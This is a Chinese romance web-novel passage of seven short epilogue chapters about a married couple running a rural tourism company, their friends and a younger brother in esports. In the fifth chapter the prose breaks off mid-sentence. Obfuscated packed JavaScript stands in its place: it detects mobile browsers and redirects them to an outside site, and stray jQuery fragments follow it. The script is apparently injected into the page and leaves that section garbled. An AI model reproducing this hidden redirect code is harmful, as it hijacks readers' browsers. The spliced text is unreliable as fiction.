一、


    兆通的秋日午后，暖洋洋的。


    公司这边越来越忙，许清佳和项匀昭干脆定居在这。两人和好没多久，项匀昭就张罗订了婚期，知道他父母来了会不愉快，他索性也没通知两口子，自己就把婚事定了下来。


    这天是周末，许清佳正窝在沙发里看一部老电影，她身上盖着一件项匀昭宽大的灰色毛衣。怀里抱着同样睡的四仰八叉的元宝。


    岁月静好，大抵如此。


    厨房里传来规律的切菜声，混合着锅里炖汤的“咕噜”轻响。项匀昭围着那件许清佳买的卡通围裙，显得有些滑稽。他袖子挽到手肘，正在处理许清佳说想吃的鲈鱼。侧脸线条在氤氲的水汽中显得格外柔和。


    许清佳目光从电视上移开，飘向厨房那个高大挺拔的身影。一个存在了很久的问题在这个宁静的时刻悄悄溜了出来。


    “项匀昭。”她喊他。


    “嗯？”他没回头，手上动作也没停，鱼已经利落地改好了花刀。


    “你当初为什么那么坚决，一定要做乡村振兴？好像除了这个，天底下没别的路可走了似的。”


    厨房里的声音停了一瞬。


    项匀昭关了火，又到洗碗池冲了下手，拿起毛巾慢慢擦着。擦干手后靠在料理台边，目光穿过短短的走廊落在沙发上的那一小团身影上。阳光给她周身镀了毛茸茸的金边，怀里猫咪的肚皮一起一伏。


    他眯起眼睛，像是陷入了回忆。


    “我毕业那年，听说你签了京都的公司。”他声音缓缓的，“我去了京都。没告诉你，也不知道去干嘛。大概……就想看看你过得好不好。”


    项匀昭摩挲着下巴，那个画面至今还很清晰。


    “在你公司楼下，等了很久。然后看到一辆车停下，陈叙言先下来，绕到另一边，很绅士地替你开车门，用手护着车顶。你笑着跟他道谢，一起走进大楼。”


    他有些苦涩地扯起嘴角：“那时候觉得，你看起来……挺好。在那个光鲜亮丽的世界里，有体面的工作，有看起来体贴的伴侣。那个世界，好像没我什么事，也离隐溪村太远了。”


    许清佳心里像被什么揪了一下。


    她完全不知道他曾那样孤零零地站在她世界的边缘，独自消化着那样的画面和判断。


    “然后我就回去了。”项匀昭继续道，目光重新聚焦看向她。


    “回村子的路上我就想，你去追你的前程了，挺好的。但总得有人守着点根吧。你那么恋家，总有一天累了，想回来看看。我不能让村子还是老样子，破败、没有生气地等着你。我得让它变好，好到你回来的时候，觉得舒服，觉得……这儿依然是你的退路，是你的家。”


    “就算你只是偶尔回来看一眼，我也能……顺便看一眼你。要是你一直不回来……”


    他没再说下去，却让许清佳心里难受的无以复加。


    她掀开身上的毛衣，光着脚跑进厨房，一头扎进他怀里。紧紧抱住他劲瘦的腰身，脸埋进他胸膛。


    “傻瓜，项匀昭你真是个大傻瓜。”她鼻子发酸，“你就没有想过我万一永远都不回来了怎么办？万一我在那个‘光鲜世界’里迷路了呢？”


    项匀昭被她撞得稍稍后退一步，随即稳稳接住她，在她头上轻轻揉了揉。


    “那就等。”


    “守着家，等着你。一辈子也不长。”


    许清佳猛地抬头凶巴巴地瞪他，睫毛上却挂着泪珠，“谁要你等一辈子！我现在不是在这里吗？在这里烦你一辈子！”


    “好。”项匀昭有些忍俊不禁，“不用等一辈子。现在，就很好。”


    二、


    上海外滩的夜景璀璨又华丽。


    许清佳穿着睡袍坐在落地窗前的飘窗上，手里摇着一杯红酒。


    这次是和项匀昭来找程砚秋谈一个项目手续的。才得以忙里偷闲个一两天，许清佳格外珍惜。


    “清佳文旅”如今越做越好，在省里乃至上海都听说过它的名号。这名字是两个人办完婚礼没几天项匀昭坚持要用的。


    他说，他的初心是她，他的归途是她，他的事业，自然也应该是她的名字。


    浴室水声停了，项匀昭擦着头发走出来，身上是同款深色睡袍。领口微敞，露出常年锻炼留下的清晰锁骨线条。


    岁月待他宽厚，只将那份少年锐气沉淀成更沉稳的气度，唯有看向她时眼底的那簇光，一如当年老槐树下的少年。


    他走到飘窗前坐下，很自然地将许清佳的脚捂在自己怀里。


    “程砚秋今天那句话，是什么意思？”他忽然开口。


    许清佳放下手里的酒杯，“嗯？”


    “晚饭时，聊到当年项目卡壳的事。”项匀昭侧过脸看她，灯光下眉眼深邃，“他说，‘当时清佳找到芸芸和我，真是帮了你大忙’。帮忙？什么忙？我怎么从没听你提过。”


    许清佳整个人坐在他腿上，她以为这件事早就过去了。


    “就……那时候手续不是一直下不来吗，你压力那么大，我着急。”她语气轻描淡写，“想起沈芸姐嫁到了上海，她先生可能有点门路。我就去了一趟上海，请他们帮忙问问情况。”


    她说的如此轻松，轻松到项匀昭胸口一震。


    那是什么时候呢？


    那时他山穷水尽、焦头烂额，甚至对她发了脾气。两个人陷入冷战，他以为她只会‘添乱’联系陈叙言，她独自承受他母亲的羞辱，委屈无处安放。


    她却一个人跑去了上海，找到唯一一个能帮上忙的人放下她向来骄傲的性子，去为了她爱的村子、为了他，求一个转机。


    “怎么从来不告诉我？”他声音一点点哑下去，“后来手续突然通了，我就猜到，不会那么简单。”


    许清佳伸手去摸他湿漉漉的发梢，笑了：“有什么好说的？事情解决了不就好了。而且，”她眼里闪过狡黠的光，“告诉你，岂不是显得我很厉害，怕你压力更大？”


    这句话里没有委屈，没有邀功，只有看似调侃的安慰。


    他忽然低下头，额头抵在她膝头。


    许清佳愣住，感受到他肩膀的微微颤抖和膝头传来的湿意。


    那不是发梢的水珠，是更滚烫的东西。


    他哭了。


    那个在被村民围攻时面不改色的项匀昭；与父亲断绝关系时依然挺直了背的项匀昭；在无数个深夜里独自抽烟扛下所有的项匀昭，仅仅因为她一句话就哭了。


    “项匀昭？”她心头发紧，轻声唤他。


    过了好一会儿他才抬起头，眼眶红着，带着浓重的鼻音道：“我忽然觉得，只把公司股份都转到你名下，还是太少了。”


    许清佳怔住。


    “应该把我这个人，从里到外，从过去到未来，每一分每一秒，都完完全全给你。”


    他看着她，眼泪又涌出来一点，却咧开嘴笑了，“才配得上你给我的。”


    许清佳眼眶瞬间红了，她用力眨眨眼，把那股酸涩压下去，玩笑语气问他：“那照你这么说，‘清佳文旅’以后可就真的全是我说了算了？项总，你以后就是给我打工的哦。”


    项匀昭低笑出声，一把将人拉进怀里。


    “不从来都是你说了算？”他在她耳边低语，热气拂过她的耳廓，激的她颤栗一下，“我的都是你的。公司是，钱是，命也是。”


    还不等许晴佳回答，他又稍稍退开一些，捧起她的脸无比认真道：“但你得是我的。许清佳，这辈子，下辈子，都得是项匀昭的。”


    此刻，窗外的璀璨星河仿佛都落进了他的眼底，再倒映进她的心中。


    许清佳眼泪也跟着流出来，哭笑不得，她把自己又埋进他怀里一些，轻声说：“嗯，你的。”


    三、


    项匀昭人在兆通，隐溪村的事他实在分身乏术，便将这摊子交给了蒋旭。


    距离他刚开馆子那阵已经三年，他现在生意是越来越红火，不仅仅是隐溪村，还在兆通下面其他村子里开了连锁。


    陈可毕业后进了项匀昭的公司，偶尔会回来帮帮忙。


    生意越做越大，刘老板那件事却像一根刺一样扎在他心里。这么多年来他一直没放弃找刘老板，可一直没什么音讯。


    这天，蒋旭正在自家馆子后厨里忙活，陈可在前厅招呼，客人不算多，但并不冷清。


    “旭子！”


    馆子外忽然有人叫他，陈可往外看一眼，又朝后厨喊：“外头有人叫你。”


    “来了来了。”后厨火被关掉，蒋旭在围裙上擦着手走出来。


    “谁叫我？”


    馆子外人喊他：“这儿！”


    蒋旭愣了，那人一身始祖鸟正站那朝他招手呢。不是别人，正是他在外面创业的老同学。


    “什么时候回来的？”蒋旭走上前拍他。


    “就前段时间。”赵卫国摘下墨镜打量了下蒋旭的馆子，笑了：“这几年发展不错。”


    蒋旭也笑了，掏出烟递一支给他，自己也叼一支，点燃，“跟赵老板比不了，我这勉强糊口。”


    “去你的。”赵卫国啐他，接过烟吸一口又吐出，忽然道：“前阵子你让我找那个什么刘老板，有眉目了。”


    蒋旭正往嘴里送烟的手一顿。


    “怎么样？人死了没？”他语气很平，仿佛在唠家常。


    赵卫国笑了声，语气感慨：“还真让你说着了。”


    “什么说着了？”蒋旭皱眉：“别卖关子了。”


    “找到了。也不算找到……”


    赵卫国又吸口烟，语气唏嘘：“前阵子我手下跑北边线路的司机，在河北一个县跟当地人喝酒，听人聊起一桩旧事。说大概三四年前，有个外地来的菜贩子，开辆破货车，着急忙慌赶夜路，像是躲什么债，结果在山道上翻了下去，车毁人亡。人烧得面目全非，身边就一个破包，里头有几张皱巴巴的合同，还有张没烧完的身份证残片……名字对得上，刘富贵。应该就是那孙子。”


    风穿过山间，带来孩子们的嬉闹声，但蒋旭似乎都听不到了。只有那句“车毁人亡”。


    “真的死了？”蒋旭有些不敢相信。


    “死了。死得挺惨，也没人收尸，当地按无名氏处理了。”赵卫国叹口气，“现在也算有个结果了。天道好还吧。”


    蒋旭好半晌没吭声。


    “谢了，”再次说话时，手里的烟已经燃尽，“为这事还跑过来特意告诉我。”


    “嗨，咱兄弟不说这个。”赵卫国拍拍他肩膀，“看开了就好。现在日子多红火，犯不上为个人渣脏了心绪。弟妹能干，生意也好，往前看。”


    蒋旭点点头，将人送走了。


    他没立刻回馆子，而是蹲下来又点了支烟。


    恨吗？曾经是恨的。


    恨得咬牙切齿，恨得夜不能寐，恨那王八蛋卷走的不仅仅是钱，是他妈看病的指望，是他对未来的那点盼头，是他作为一个男人、一个儿子差点垮掉的脊梁。


    他曾因为这个人夜不能寐，但如今，连老天都告诉他应该放下了。


    “在这蹲着干嘛呢？”陈可从馆子里出来，一把扯掉他嘴里的烟踩灭，“马上到饭口了，我都要忙死了，你还有心情抽烟。”


    蒋旭被突然来这么一下，也不恼，反而咧开嘴笑了。


    “行行行。”他推着陈可往屋里走，“等着几个客人走了，我们俩去县里好好搓一顿。”


    “有什么喜事？”陈可问他。


    “不算喜事，我就是单纯高兴。”


    四、


    转眼又是一年冬，冬至这天，张北说要带着男朋友过来，是的，男朋友。


    去年也忘了从哪听说的张北和杨飞屿在一起了。现在许清佳想起来还是有点难以置信。但她没计较之前的事，反而特意和项匀昭腾出一天在家里包了饺子等着她过来。


    两个孩子赶的巧，许清佳饺子刚一下锅门铃就响了。项匀昭拍了拍手上的面粉去开门，果然看见张北和杨飞屿站在门口。


    自从上次不欢而散，这还是项匀昭第一次见她。隐约从他姨妈口中听到过她的一些零星信息，说她考了研，毕业后在上海找到一份不错的工作。


    多年不见，两个人变化都挺大。


    张北一身呢子大衣，围了个料子很好的围脖，头发松松挽着，再不见当年的娇纵。


    而杨飞屿同样穿了身和张北相配的大衣，眉宇间褪去青涩，棱角逐渐分明起来。


    “快进来，”项匀昭弯腰给两个人拿拖鞋，边问：“姨妈身体还好吗？”


    “好多了，这些日子还老念叨你呢。”张北回她。


    项匀昭引着两人在沙发上坐下，“你们聊着，我去厨房替你嫂子，饺子刚下锅。”


    张北点点头。


    许清佳用勺子搅着锅里的饺子，防止粘上，热气蒸腾着，在她眉毛上落下一串水珠。她刚拿了个碟子过来准备盛饺子就被一只手抢过去。项匀昭跑来厨房俯身在她耳边说：“我来，你去客厅陪他们聊天。”


    许清佳也没客气，洗了个手就坐到了她俩对面的沙发上。


    张北感受着对面的那道目光，忽然就变得拘谨起来。她不敢看许清佳，有些结巴地叫了声“嫂子”。


    许清佳好笑，这么多年了，这丫头还是这么别扭。


    “客气什么。”许清佳将果盘推到两人面前，“吃水果。”


    张北象征性拿起一块串着牙签的苹果送进嘴里，像是犹豫了很久，终于开口：“嫂子，对不起，之前……是我年纪小不懂事，你别往心里去。”


    许清佳摆摆手，“我当是什么事呢。”她话说半句开起玩笑：“再说，当年要不是你，我还不知道你哥去见了苏媛呢，不然他得瞒我一辈子。”


    张北北逗笑，下意识替项匀昭解释，“他不会的。”


    “不用纠结，都过去了。”许清佳这样安慰她。


    “嗯。”张北重重点头。


    “清佳姐。”


    还不等许清佳再说什么，一旁的杨飞屿又说话了。


    许清佳看向他，“怎么了？”


    “就是。”杨飞屿豁出去了，“几年前我们在水库聚餐，张北落水了，我们都赶着去救她，你被撞了，胳膊烫伤了，你还记得吗？”


    许清佳有些诧异他提这么多年的事干嘛，问他，“怎么了？”


    “是我。”他说：“是我故意撞的你，因为匀昭哥老是因为你冷落张北，我为她抱不平。”


    许清佳愣住了，厨房里的项匀昭动作也停下来，就连张北看着他的眼神也有些不可思议。


    半晌，许清佳才开口，释怀笑了笑：“没事，都过去这么久了，你不说我都忘了。”


    “实在是对不起。”杨飞屿再次道歉。


    “你确实做的不对。”


    厨房里的项匀昭忽然接茬，随即话锋一转，“不过，你能承认错误也算难得，下次不要做这种错事了。”


    杨飞屿知道这话从项匀昭嘴里说出来算是原谅，忙不迭点头，“好！”


    “好了好了，不说这个了，吃饺子。”许清佳拐过这个话题，朝厨房里喊了声：“匀昭，饺子好了吗？”


    “来了。”


    五、


    许翊坤毕业后进了电竞队。


    这么些年来，在队里也算小有名气。


    不仅仅是因为


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314232|192675||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他的游戏技术，更是因为他那张看起来有点痞痞的脸。


    粉丝都称他用最顶的脸偷最狠的塔。


    训练室里键盘霹雳声响成一片，许翊坤戴着耳机，屏幕的蓝光衬的他褪去青涩的脸更加棱角分明。


    旁边响起队友的叫喊声：“快，一波了！”


    许翊坤鼠标快速点击，键盘也跟着配合，很快就打爆了对家的塔。


    “漂亮！”队友大齐摘下耳机，“蹭”地站起来走到许翊坤身旁叫他：“老样子？楼下馆子整点烧烤？”


    许翊坤摘下耳机，活动一下脖子，淡淡“嗯”一声。


    一行人裹着夜色来到那家小馆子，孜然味和热气扑面而来，许翊坤舒口气，一整天的紧绷终于放松了些。


    菜还没上，大齐眼睛一转，给他起了瓶啤酒，揶揄着问他：“我说坤哥，真不打算考虑考虑个人问题？就你这张脸，这身价，这粉丝量……后台私信爆了吧？就没个看得入眼的？”


    许翊坤摩挲着手里的啤酒瓶，语气淡淡的：“没兴趣。”


    桌上其他人也瞬间来了精神，纷纷起哄。


    “就是！上次那个主持小姐姐，眼睛都快黏你身上了！”


    “还有直播间的那个榜一富婆，连送一个月星际战舰了，坤哥你理都不理，暴殄天物啊！”


    许翊坤灌了一大口酒，声音没什么起伏：“没兴趣，吵。”


    “嘁——”众人一片嘘声。


    大齐凑得更近，酒气喷在他耳边，半真半假地感叹：“兄弟，你这就属于……长了一张最该花天酒地的脸，守着份不为人知的贞操啊！哥们儿是真看不懂，也真特么羡慕！”


    “滚蛋！”许翊坤笑骂了句：“打你的辅助去，别跟个老妈子似的。


    “得。”大齐兀自灌口酒，声音认真起来：“说真的，羡慕你啊。家底厚实，姐跟姐夫那公司现在做得风生水起，清佳文旅这名头在咱省里都响当当吧？自己又争气，打出名堂了，还长了这么张招桃花的脸。命运这碗饭，是追着你喂啊！”


    许翊坤捏着酒瓶的手收紧了下，而后是一声自嘲的笑。


    有什么用？


    公司再大，也不是他的战场，名声再响也换不回某人的多看一眼。


    前些阵子沈知仪给他发来消息，说是陈可要和蒋旭结婚了。


    挺好。


    他现在想怎么打游戏就怎么打游戏，再也没有人管他了。


    但只有他自己知道，要是再让他重来一次，他绝对不会因为游戏忽略他，那天也不会带着她上山。


    “愣什么呢？”大齐声音把他拉回现实，“喝酒啊。”


    许翊坤扯了下嘴角，举起酒杯，“喝酒。”


    六、


    许清佳和项匀昭去了杭州。


    商业酒会灯光流转，衣香鬓影。


    许清佳正与合作方寒暄，项匀昭站在她身后半步虚虚护着她。既是亲昵，也是守护。


    他微微倾身听着对方说话，目光却不时落在许清佳侧脸。看她言笑晏晏，眼里有细碎的光。


    “项总，许总，好久不见。”


    一道清凉的女声响起，许清佳回过头，看见一个高挑的女人穿着一身白色礼服站在那里，妆容精致。


    “这是？”许清佳仰着头在他耳边问。


    项匀昭轻笑出声，答她：“这就是苏媛，你不是一直想见见她吗？”


    还不等许清佳先打招呼，项匀昭先入为主介绍：“苏媛，这是我妻子，许清佳。”


    苏媛上下打量一下许清佳，随即眉眼舒展，荡开笑意，她伸出手：“你好，久仰啊，一直想见见你来着，今日看来，我确实输的心服口服。”


    “许小姐不仅人漂亮，能力还这么强，你们确实佳偶一双。”


    许清佳愣了片刻，抬起头看向项匀昭。


    和苏媛见面，她想过很多不体面的场景，现在看来，是她太狭隘了。


    项匀昭点点头，示意她回握。


    许清佳这才回神回握住那是白皙的手。


    “你好，我是许清佳。”


    苏媛递给她一支香槟，随即跟两人告别：“我遇见个相熟的合作方，失陪一下。”


    “好，那你快去。”


    许清佳望着苏媛侃侃而谈的身影，靠在项匀昭怀里，感叹：“当时因为她跟你生那么久气，真是不应该。”


    项匀昭下巴蹭了蹭她发顶，有些好笑：“我早就说跟她只是纯粹的同学关系。”


    “真的？”许清佳将信将疑，“我要看你手机，看看还留着她的微信没。”


    项匀昭无所谓摊开手，将手机递给她，“随便看，我这手机里除了你连只母蚊子都没有。”


    许清佳笑的发抖。


    七、


    京都的冬天很冷，城市的路上虽然没多少积雪，但无形的寒风刮的人生疼。


    刚谈完一个合同，许清佳和项匀昭从大楼里走出来，还是有些不适应。


    许清佳已经很多年没感受过京都的冬天了，这些年来断断续续来过几次也都是赶在夏天。


    冷风迎面吹过来，直往衣服领子里钻。许清佳打了个寒颤，下意识就往项匀昭那边靠。


    项匀昭敞开自己的大衣将人裹进去，右手揽着她腰。


    司机去开车了，两人站在路边等他。


    车还没等到，就隐隐听见一阵压抑的啜泣声。


    许清佳循声望过去，看见大楼门口蹲着个女孩，穿着单薄的职业套裙，连哭都不敢大声。


    没多想，她提步走了过去。


    “喏。”许清佳蹲下身，递了包纸巾过去。


    女孩抬起头，脸上还挂着泪珠，有些慌乱。


    “没事，”


    许清佳怕吓到她，声音放的很轻：“只是觉得，你可能需要这个。”她指指纸巾，又指了指女孩被冻得通红的手。


    女孩愣愣接过，嗫嚅着说了声“谢谢”。寒风一吹，她又瑟缩了一下。


    “刚离职？”许清佳语气平常，没有怜悯，只是平和的询问。


    女孩点点头，眼泪又涌出来：“他们说我不合适，我努力了三年。京都，是不是真的……特别难留下？”


    许清佳呼出一团白色雾气，半晌没说话。


    看着那张年轻疲惫的脸，仿佛看到了当年的自己。


    她没有讲大道理，也没有说一些空乏的安慰，只是从大衣里掏出一张名片递到她面前。


    “要是不嫌弃我们公司小，地方不如京都繁华，”她的声音在替京都的寒风里添了份温暖：“可以来看看。我们那里有山有水，有需要好好做的事，也有认真对待做事的人。”


    女孩怔住，看着名片，又看看眼前这个气质温婉却眼神坚定的女人，一时忘了哭。


    路边车灯亮起，许清佳站起身，朝她温和笑笑：“京都很大，机会很多，但有时候，未必是唯一的选择，也未必定义得了你的价值。”


    她伸手扶下女孩头顶一片雪花，这句话不知是对谁说的：


    “有时候，你在哪里，哪里就是你的京都。”


    女孩瞪大眼睛，像是第一次听见别人这样说。


    还不等她回话，许清佳已经走到路边的车旁。


    车里，项匀昭忽然将许清佳搭在腿上的手包裹在手里，问：“想到原来的自己了？”


    许清佳点点头，看向窗外掠过的风景，道：“只是不想让小女孩失望。”


    “你觉得她会来吗？”项匀昭问她


    “不知道。”


    “但至少，我给了她一条不一样的路。”


    这一年，许清佳三十岁。


    她觉得未来无限好。